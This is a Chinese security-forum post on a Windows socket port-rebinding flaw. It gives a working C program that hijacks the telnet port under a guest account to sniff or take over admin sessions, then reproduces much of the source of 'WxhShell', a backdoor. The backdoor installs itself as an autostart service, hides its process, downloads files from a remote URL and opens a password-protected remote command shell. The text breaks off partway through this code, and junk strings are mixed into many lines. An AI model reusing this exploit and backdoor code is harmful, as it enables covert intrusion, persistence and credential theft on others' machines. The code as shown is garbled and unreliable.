社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13944阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {_U Kttp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }CxvT`/  
mQ}ny(K'  
  saddr.sin_family = AF_INET; tb?YLxMV  
5b/ojr7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Il`tNr  
+wW@'X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U}$DhA"r"  
"S&%w8V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >]=j'+]  
na^sBq?\  
  这意味着什么?意味着可以进行如下的攻击: MuBx#M/  
ouHu8)q'r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @u._"/K  
*1@:'rJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) { BEo &  
C!C|\$)-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B cj/y4"  
Dr;iQkGP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MlW 8t[  
u =gt<1U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 71C42=AU  
6bBdIqGb}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E0oU$IB  
V\K<$?oUb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T#Z%y!6  
LEECW_:  
  #include /+e~E;3bO  
  #include S-+M;@'Rl  
  #include gK|R =J  
  #include    AnZclqtb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B}d.#G+_$x  
  int main() bAr` E  
  { D5?phyC[Z  
  WORD wVersionRequested; [@fz1{*  
  DWORD ret; Lhh;2r/?78  
  WSADATA wsaData; Y\2|x*KwvF  
  BOOL val; Q)af|GW$  
  SOCKADDR_IN saddr; {0!#>["<  
  SOCKADDR_IN scaddr; z<]bv7V  
  int err; s=Q(C[%I  
  SOCKET s; 9SMiJad<  
  SOCKET sc; r.0oxH']  
  int caddsize; A"Q@W<.  
  HANDLE mt; M`D$!BJr  
  DWORD tid;   UK*qKj. )  
  wVersionRequested = MAKEWORD( 2, 2 ); 69#8Z+dw7  
  err = WSAStartup( wVersionRequested, &wsaData ); HEA eo!  
  if ( err != 0 ) { >5T_g2pkv  
  printf("error!WSAStartup failed!\n"); 7+w'Y<mJ  
  return -1; ) uP\>vRy  
  } A>.2OC+  
  saddr.sin_family = AF_INET; ji+{ :D  
   !MQ N  H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Eaad,VBtU  
Ml>( tec  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [&Hkn5yq  
  saddr.sin_port = htons(23); f c6g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >uJ/TQU  
  { _x1EZ&dh  
  printf("error!socket failed!\n"); q6`G I6  
  return -1; F=)eLE{W  
  } HI&kP+,y  
  val = TRUE; 8cHE[I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3kmeD".  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Hoz56y  
  { 2k#t .-  
  printf("error!setsockopt failed!\n"); P,bd'  
  return -1;  +f4W"t  
  } 8n4V cu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cjULX+h  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 EP7AP4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *Zd84wRSj  
#l1Qe`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) L4f7s7rJ  
  { o07IcIo  
  ret=GetLastError(); e,A)U5X  
  printf("error!bind failed!\n"); YnV/M,U  
  return -1; gdj^df+2F  
  } |)_-Bi;MW`  
  listen(s,2); &S74mV  
  while(1) ZI ?W5ISdg  
  { f3WSa&eF  
  caddsize = sizeof(scaddr); 4}KU>9YRA  
  //接受连接请求 !D.0 (J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j nwQV  
  if(sc!=INVALID_SOCKET) BQ05`nkF  
  { ^&c$[~W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nv5u%B^  
  if(mt==NULL) -+U/Lrt>8  
  { G@d`F  
  printf("Thread Creat Failed!\n"); 8 |h9sn;P  
  break; oUW<4l  
  } =?0QqCjK)  
  } e9u@`ZC07  
  CloseHandle(mt); ecH/Wz1  
  } 3/M.0}e  
  closesocket(s); F@YV]u>N  
  WSACleanup(); |;;!8VO3J  
  return 0; s ?l%L!  
  }   zREJ#r  
  DWORD WINAPI ClientThread(LPVOID lpParam) B!aK  
  { a}.Y!O&  
  SOCKET ss = (SOCKET)lpParam; :\V,k~asl  
  SOCKET sc; E1>/R  
  unsigned char buf[4096]; m[2'd  
  SOCKADDR_IN saddr; :X .,  
  long num; Na!za'qk[o  
  DWORD val; OKwOugi0  
  DWORD ret; 0|)19LR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p4/$EPt)lY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,J9}.}Hd  
  saddr.sin_family = AF_INET; 'UDBV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r25Z`X Z  
  saddr.sin_port = htons(23); E;-qP)yU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (N U0T w  
  { M$CVQ>op:  
  printf("error!socket failed!\n"); `"y{;PCt_  
  return -1; >BqCkyM9Kf  
  } Z^tGu7x  
  val = 100; ged,>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fCEz-TMW  
  { ~LE[, I:q  
  ret = GetLastError(); |ViU4&d*  
  return -1; RLKj u;u  
  } ,@Z_{,b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Rlc$; Z9K  
  { 4'At.<]jL  
  ret = GetLastError(); LR$z0rDEM  
  return -1; q9}2  
  } shi Hy*(v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x% XT2+  
  { ;A^K_w'  
  printf("error!socket connect failed!\n"); \K`jCsT  
  closesocket(sc); q6[}ydV  
  closesocket(ss);  Q&+c.S  
  return -1; M4<+%EV}  
  } *PB/iVH%6  
  while(1) m<fA|9 F#  
  { Kd{#r/HZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g{DFS[h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5t'Fv<g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J@bW^>g*6u  
  num = recv(ss,buf,4096,0); QN 0rE @a  
  if(num>0) SgSk !lj  
  send(sc,buf,num,0); 5 ;vC(Go  
  else if(num==0) 8gpBz'/,  
  break; Tt6{WDscZ  
  num = recv(sc,buf,4096,0); G\/IM  
  if(num>0) nu 7lh6o=  
  send(ss,buf,num,0); Wu{&;$  
  else if(num==0) iK x+6v  
  break; DPPS?~Pq  
  } ( Yi=v'd  
  closesocket(ss); ^]rxhpS  
  closesocket(sc); T7GQ^WnA  
  return 0 ; ;nf&c;D  
  } utd:&q|}  
+L6" vkz  
y\_wWE  
========================================================== -lp"#^ ;  
^-L{/'[8M  
下边附上一个代码,,WXhSHELL rsSue_Q  
6:RMU  
========================================================== g3a/;wl  
OWV/kz5'H  
#include "stdafx.h" +v1-.z  
Dm4B  
#include <stdio.h> i_YW;x  
#include <string.h> 97x%2.\:  
#include <windows.h> )H+h ;U  
#include <winsock2.h> s-5wbi.C  
#include <winsvc.h> -h9#G{2W[  
#include <urlmon.h> 83?1<v0%  
X<K9L7/*  
#pragma comment (lib, "Ws2_32.lib") {h^c  
#pragma comment (lib, "urlmon.lib") <[8@5?&&  
f=oeF]=I"  
#define MAX_USER   100 // 最大客户端连接数 =L16hDk o  
#define BUF_SOCK   200 // sock buffer fIEw(k<*  
#define KEY_BUFF   255 // 输入 buffer C@)pmSQ  
o>K &D$J;O  
#define REBOOT     0   // 重启 DrFur(=T  
#define SHUTDOWN   1   // 关机 T:n< db,Px  
WJcVQM s  
#define DEF_PORT   5000 // 监听端口 4@~a<P#  
afy/K'~  
#define REG_LEN     16   // 注册表键长度 n'3u] ~7^  
#define SVC_LEN     80   // NT服务名长度 }MjQP R  
@$ftG  
// 从dll定义API /yt7#!tm+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a],h<wGEx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d"!yD/RD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _jDS"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tWRf'n[+]  
V@Kn24''  
// wxhshell配置信息 4zX=3iBt  
struct WSCFG { AJ4r/b }  
  int ws_port;         // 监听端口 AI R{s7N  
  char ws_passstr[REG_LEN]; // 口令 _y-B";Vmm  
  int ws_autoins;       // 安装标记, 1=yes 0=no -Qg,99M  
  char ws_regname[REG_LEN]; // 注册表键名 wzxdVn 'S  
  char ws_svcname[REG_LEN]; // 服务名 iRouLd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Lv3XYZgW~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <hMtE/05B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ik-oI=>.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NJ>,'s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Za9$Hh/X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :r^klJ(m  
 9^p32G  
}; p~FQcW'a~  
edTMl;4  
// default Wxhshell configuration i9y3PP)  
struct WSCFG wscfg={DEF_PORT, a.CF9m5]c  
    "xuhuanlingzhe", =1Ri]b  
    1, ,P!D-MN$V  
    "Wxhshell", BP:(IP!&  
    "Wxhshell", CX.SYr&!R  
            "WxhShell Service", y,^";7U  
    "Wrsky Windows CmdShell Service", 1h{>[ 'L  
    "Please Input Your Password: ", \"J?@  
  1, Gb?g,>C  
  "http://www.wrsky.com/wxhshell.exe", uX98iJ  
  "Wxhshell.exe" EM=xd~H  
    }; $wgc vySx  
E0T&GR@.  
// 消息定义模块 v*vn<nPAQ>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p}&Md-$1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y]<#%Fh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wge ho  
char *msg_ws_ext="\n\rExit."; Ia'x]#~  
char *msg_ws_end="\n\rQuit."; u8^Y,LN  
char *msg_ws_boot="\n\rReboot..."; `i9N )3 X  
char *msg_ws_poff="\n\rShutdown..."; 7|K3WuLL  
char *msg_ws_down="\n\rSave to "; }E,jR=@  
Nr%(2[$ =  
char *msg_ws_err="\n\rErr!"; 0K/G&c?;=  
char *msg_ws_ok="\n\rOK!"; fqN75['n  
"I@v&(Am;  
char ExeFile[MAX_PATH]; U @)k3^  
int nUser = 0; u7n[f@Eg,%  
HANDLE handles[MAX_USER]; uFC?_q?4\  
int OsIsNt; d&5c_6oW  
>6IXuq  
SERVICE_STATUS       serviceStatus; /MhS=gVxM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ma>:_0I5  
6<<'bi  
// 函数声明 ^DzL$BX  
int Install(void); 64h_1,U  
int Uninstall(void); yAAG2c4(  
int DownloadFile(char *sURL, SOCKET wsh); kq>GMUl~@  
int Boot(int flag); di--:h/  
void HideProc(void); ,TEuM|  
int GetOsVer(void); ) b/n)%6  
int Wxhshell(SOCKET wsl); ENO? ;  
void TalkWithClient(void *cs); B~WK)UR  
int CmdShell(SOCKET sock); wKGo gf[(%  
int StartFromService(void);  WN$R[N  
int StartWxhshell(LPSTR lpCmdLine); RZW$!tyI=  
#UBB lE#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xthtw*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {x7=;-  
qw5&Y$((  
// 数据结构和表定义 % Oz$_Xe  
SERVICE_TABLE_ENTRY DispatchTable[] = ^Wif!u/HM  
{ ;*W=c   
{wscfg.ws_svcname, NTServiceMain}, OI*ZVD)J  
{NULL, NULL} H_Iim[v#  
}; Jc`Rs"2  
\Bt =bu>Z  
// 自我安装 A%h~Z a  
int Install(void) ]7v81G5E  
{ sZ]'DH&_(  
  char svExeFile[MAX_PATH]; _2]O^$L  
  HKEY key; HOq4i !  
  strcpy(svExeFile,ExeFile); 5/ tj  
7AI3|Ts]p  
// 如果是win9x系统,修改注册表设为自启动 J`YnT  
if(!OsIsNt) { @+iC/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4 #aqz9k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #fwzFS \XL  
  RegCloseKey(key); I ca3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4sb )^3T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xIM8  
  RegCloseKey(key); =Na/3\^WP  
  return 0; {%=S+89l  
    } IY V-*/ |  
  } 3\7'm]  
} Vu_&~z7h  
else { Z "-ntx#  
"|F. 'qZrm  
// 如果是NT以上系统,安装为系统服务 3b+7^0frY#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PP!l  
if (schSCManager!=0) ,wEM Jh  
{ ZyHIMo|  
  SC_HANDLE schService = CreateService /.7$`d  
  ( wTHK=n\i  
  schSCManager, s`;0 t YG  
  wscfg.ws_svcname, a ZI>x^X  
  wscfg.ws_svcdisp, #!w:_T%  
  SERVICE_ALL_ACCESS, {An8/"bv}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4sj9Z:  
  SERVICE_AUTO_START, +Y^-e.UO  
  SERVICE_ERROR_NORMAL, 'uPxEu4 >4  
  svExeFile, Rl y jOf{0  
  NULL, l?})_1v,R  
  NULL, CFD*g\g<*  
  NULL, `oB'(  
  NULL, b;Hm\aK  
  NULL FTbT9   
  ); I%pCm||p  
  if (schService!=0) |)28=Z|Z  
  { N{ : [/  
  CloseServiceHandle(schService); #:]vUQ  
  CloseServiceHandle(schSCManager); iPA@<D%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -zPm{a  
  strcat(svExeFile,wscfg.ws_svcname); C]yvK}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o~Bk0V=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zA2UFax=  
  RegCloseKey(key); 01&*`0?  
  return 0; 9+]ZH.(YE  
    } ;n3uV`\  
  } dK:l&R  
  CloseServiceHandle(schSCManager); | \Ab L!u  
} en Pzy:C  
} Coga-: 2vu  
-;sJ25(  
return 1; aw %>YrJ  
} QV`X?m  
OI'uH$y  
// 自我卸载 K{, W_ ^  
int Uninstall(void) ^fA3<|  
{ JOA%Y;`<#  
  HKEY key; yfPCGCOW?  
H%*~l  
if(!OsIsNt) { A28ZSL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @uQ%o%Ru6  
  RegDeleteValue(key,wscfg.ws_regname); C*"Rd   
  RegCloseKey(key); +i:  E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cFRSd }p=  
  RegDeleteValue(key,wscfg.ws_regname); ~+nS)4 (  
  RegCloseKey(key); EZ:I$X  
  return 0; $ 1ak I  
  } zb@L)%  
} |M[v493\  
} WpZy](,  
else { @).WIs  
 JA }S{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ph Wc 8[Q  
if (schSCManager!=0) :GN)7|:  
{ ],BJ}~v,X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ({*.!ty  
  if (schService!=0) vS~AxeW/7R  
  { 0lLr[  
  if(DeleteService(schService)!=0) { N%|^;4}k  
  CloseServiceHandle(schService); 0z#l0-NdQ  
  CloseServiceHandle(schSCManager); k$9Gn9L%  
  return 0; 5"76R Gw=  
  } ~0VwF  
  CloseServiceHandle(schService); I>N-95  
  } *D,v>(  
  CloseServiceHandle(schSCManager); ~@b9  
} ==jkp U*=  
} "U/NMGMj  
`77;MGg*  
return 1; v&t`5-e-A  
} OhA^UP01-  
p[ks} mca@  
// 从指定url下载文件 rC=p;BC@dD  
int DownloadFile(char *sURL, SOCKET wsh) ;cS~d(%  
{ ?TL2'U|M  
  HRESULT hr; }0k"Sw X  
char seps[]= "/"; Pur"9jHa4  
char *token; Hl%+F 0^?  
char *file; -L^0-g  
char myURL[MAX_PATH]; y>)mSl@1y  
char myFILE[MAX_PATH]; w3>Y7vxiz`  
,gFL Wb`B'  
strcpy(myURL,sURL); HB/ _O22  
  token=strtok(myURL,seps); o=a:L^nt,  
  while(token!=NULL) 7?kXgR[#d  
  { #C;#$|d  
    file=token; 2:smt)f  
  token=strtok(NULL,seps); 9m<X-B&P  
  } B`RW-14g  
t[H_6)  
GetCurrentDirectory(MAX_PATH,myFILE); |Fh`.iT%c  
strcat(myFILE, "\\"); EvGUj$  
strcat(myFILE, file); 'W<a54T?z  
  send(wsh,myFILE,strlen(myFILE),0); b&U5VA0=1  
send(wsh,"...",3,0); [)b/uR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a=}">=]7  
  if(hr==S_OK) dpc=yXg>"c  
return 0; Gaw,1Ow!`2  
else 2uI`$A:  
return 1; l(0&6ENyj  
,b2O^tJF#  
} P:zEx]Y%  
o'= [<  
// 系统电源模块 2vW,.]95M  
int Boot(int flag) e+]YCp[(  
{ EmBfiuX  
  HANDLE hToken; f:)K  
  TOKEN_PRIVILEGES tkp; +v`^_  
z- {"pI  
  if(OsIsNt) { H|(*$!~e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y/:Q|HnXQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T$>=+U  
    tkp.PrivilegeCount = 1; IdC k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nKZRq&~^E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q)zu}m  
if(flag==REBOOT) { g-TX;(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ];wohW%  
  return 0; FZ}C;yUPD  
} JydQA_   
else { .{Eg(1At  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }E)8soQR  
  return 0; x""Mxn]gD  
} ZQ-z2s9U  
  } ><Mbea=U+  
  else { q4IjCu+  
if(flag==REBOOT) { )}zA,FOA*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qbe{/  
  return 0; #L+s%OJ`  
} o^.s!C%j  
else { ,XF6Xsg2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cbg3bi  
  return 0; lw/ m0}it  
} PauFuzPP  
} c,u$tnE)  
{F{[!.  
return 1; XN0RT>@  
} 802]M  
:ayO+fr#  
// win9x进程隐藏模块 H 29 _ /  
void HideProc(void) ?M1 QJ  
{ 4HYH\ey  
!Z9ikn4A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1<Ztk;$A  
  if ( hKernel != NULL ) []]LyWk  
  { hzf}_1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5kL#V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `A}{ I}xq  
    FreeLibrary(hKernel); eJwii  
  } :XZJxgx  
KG./<"c  
return; <?`e9o  
} qo&SJDG  
h 19.b:JT  
// 获取操作系统版本 CBgFB-!qpe  
int GetOsVer(void) khO<Z^wi[  
{ "N[gMp6U  
  OSVERSIONINFO winfo; xBx?>nN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f"}14V  
  GetVersionEx(&winfo); d'eM(4R@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b ffml  
  return 1; >Gu>T\jpe.  
  else d ;Gm{g#  
  return 0; V1+o3g{}  
} EXM/>PG  
eVbh$cIrZ  
// 客户端句柄模块 ywa.cq  
int Wxhshell(SOCKET wsl) eC1c`@C:  
{ EPUJa~4  
  SOCKET wsh; ysP/@;jC  
  struct sockaddr_in client; }X.8.S'  
  DWORD myID;  3kzGL  
y`P7LC  
  while(nUser<MAX_USER) $AJy^`E^  
{ #| e5  
  int nSize=sizeof(client); K|' ]Hje\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qm&53  
  if(wsh==INVALID_SOCKET) return 1; $EHn ;~w T  
Ns7l-mb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J,2v~Dq  
if(handles[nUser]==0) ',-X#u  
  closesocket(wsh); (fjXp75  
else :\HN?_?{4  
  nUser++; [}g5Z=l  
  } &cv /q$W4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _\V{X}ftqa  
q|Tk+JH{5  
  return 0; %Zi,nHg8  
} |D_n4#X7u  
OsuSx^}  
// 关闭 socket <PA$hTYM  
void CloseIt(SOCKET wsh) pmXWI`s  
{ | r*1.V(  
closesocket(wsh); mwiPvwHrg  
nUser--; !QzMeN;D  
ExitThread(0); '{_tDboY  
} AT8,9  
peP:5WB  
// 客户端请求句柄 :zk.^q  
void TalkWithClient(void *cs) \V7x3*nA  
{ Dl!'_u  
`1}yB  
  SOCKET wsh=(SOCKET)cs; k/f_@8  
  char pwd[SVC_LEN]; m>m`aLrnb  
  char cmd[KEY_BUFF]; +GEKg~/4e  
char chr[1]; :<|fZa4!"  
int i,j; ToCfLJ?{  
YH6 K-}  
  while (nUser < MAX_USER) { m3ZOq B-  
Z|7I }i  
if(wscfg.ws_passstr) { f#JF5>o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !{- 3:N7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x-P_}}K 79  
  //ZeroMemory(pwd,KEY_BUFF); ~1z8G>R  
      i=0; W;j)ux7jMY  
  while(i<SVC_LEN) { ntUVhIE0  
!Kn+*'#  
  // 设置超时 PDiorW}]k  
  fd_set FdRead; Ts *'f  
  struct timeval TimeOut; (?=(eo<N  
  FD_ZERO(&FdRead); ku8Z;ONeH  
  FD_SET(wsh,&FdRead); s`#j8>`M  
  TimeOut.tv_sec=8; uX!y,a/"  
  TimeOut.tv_usec=0; HAOrwJFqU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l%V}'6T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X>YOo~yS5  
wH5O>4LO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x~I1(l7r  
  pwd=chr[0]; _34YH5  
  if(chr[0]==0xd || chr[0]==0xa) { #k]0[;1os  
  pwd=0; A.*nDl`H  
  break; Hqy>!1 !  
  } EG=>F1&M  
  i++; 8TM=AV  
    } K*D]\/;^  
^,r;/c9A8  
  // 如果是非法用户,关闭 socket NWX%0PGZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H$'kWU*l  
} Y\2>y"8>$x  
E<_6O Cz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c8 fb)`,k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /60=N `i  
.jU0Hu{F4  
while(1) { !,WRXE&j  
n_ gB#L$  
  ZeroMemory(cmd,KEY_BUFF); t$Ji{t-  
Z%d4V<fn  
      // 自动支持客户端 telnet标准   ]nGA1S{  
  j=0; @k;3$  
  while(j<KEY_BUFF) { DxG'/5jQ[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y\F H4}\S  
  cmd[j]=chr[0]; U/l ra&P  
  if(chr[0]==0xa || chr[0]==0xd) { Y'":OW#oN  
  cmd[j]=0; DdW8~yI&  
  break; 745PCC'FK  
  } %&S]cEw  
  j++; 0|k[Wha#  
    } /9gMcn9EB  
=hb87g.  
  // 下载文件 atnbM:t  
  if(strstr(cmd,"http://")) { %zVv3p:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y 9mZQq  
  if(DownloadFile(cmd,wsh)) ago t (  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -i gZU>0B_  
  else uZI:Kt#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `{[C4]Ew/  
  } >sY+Y22U  
  else { 6<O]_HZ&  
]zAg6*-/B  
    switch(cmd[0]) { p#NZ\qJ  
  ZSf+5{2m  
  // 帮助 rI$10R$+H  
  case '?': { /v<8x?=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2,`mNjHh  
    break; ,o6:  V]a  
  } 7hE=+V8  
  // 安装 WWs>@lCK  
  case 'i': { mjc:0hH  
    if(Install()) 09i[2n;O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7guxkN#  
    else iIRigW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4H '&5  
    break; %^A++Z$`  
    } qa#F}aGd  
  // 卸载 ^DJ U99  
  case 'r': { x/v+7Pt_  
    if(Uninstall()) 2?&ptN) `N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `84yGXLK  
    else &WS%sE{p_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =i<(hgD  
    break; )^3655mb  
    } s47"JKf"  
  // 显示 wxhshell 所在路径 ywBo9|%T  
  case 'p': { l;i u`  
    char svExeFile[MAX_PATH]; $RO=r90o  
    strcpy(svExeFile,"\n\r"); g DIB'Y  
      strcat(svExeFile,ExeFile); fR{7780WZ  
        send(wsh,svExeFile,strlen(svExeFile),0); < ,n4|z)  
    break; WVFy ZpB  
    } }7^*%$  
  // 重启 ]C^*C|  
  case 'b': { yIP IA%dJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6FAP *V;  
    if(Boot(REBOOT)) /pEki g7M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $80/ub:R  
    else { Wb$bCR#?<  
    closesocket(wsh); L@uKE jR  
    ExitThread(0); xEqrs6sR  
    } eZo%q,L  
    break; ObnB6ShKi  
